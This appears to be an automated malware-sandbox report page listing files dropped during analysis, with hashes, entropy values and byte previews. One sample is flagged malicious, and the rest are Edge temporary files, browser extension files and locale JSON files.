SHA-512:	6164C7B16C89199A3C34E62D5976F9673581A9BC754EA6A3C03BFC497D1192752A1A4EAC1192BF86281E0EC681386E777F111244FF58C43497F0CE78E0B6A70C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I.....S'....@.................................W...k.......D....................iI.............................8iI..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...ekxusscj.....`0.....................@...vsobhekd.....pI.....................@....taggant.0....I.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cba659b2-617c-49f3-9855-8a37a90872af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.402007901300259
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rr0:8e2Fa116uCntc5toY2B4M
MD5:	EFD21D096BD443352C7A848E88FABE08
SHA1:	356E7CE5E15D688EE115F22355803B965AB1772D
SHA-256:	8D134219820C42946C26D67B4754B332033039A405FDB7768FD57AC6448AC14A
SHA-512:	70FBC7A7B5EA8993DF3A846EFB8535D33905AFE83BC2AAF3A11E4AECC49E3494DC14BC8DC6842E9605B3B6DA7A784A9FCDFB3AE40C025A0A4536571D77152629
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\scoped_dir7876_357263412\4290c42c-3928-4015-8e6b-53af2886c690.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7876_357263412\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7876_357263412\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7876_357263412\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7876_357263412\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\34f32e17-48f1-442b-8fec-0204b4b29ec0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
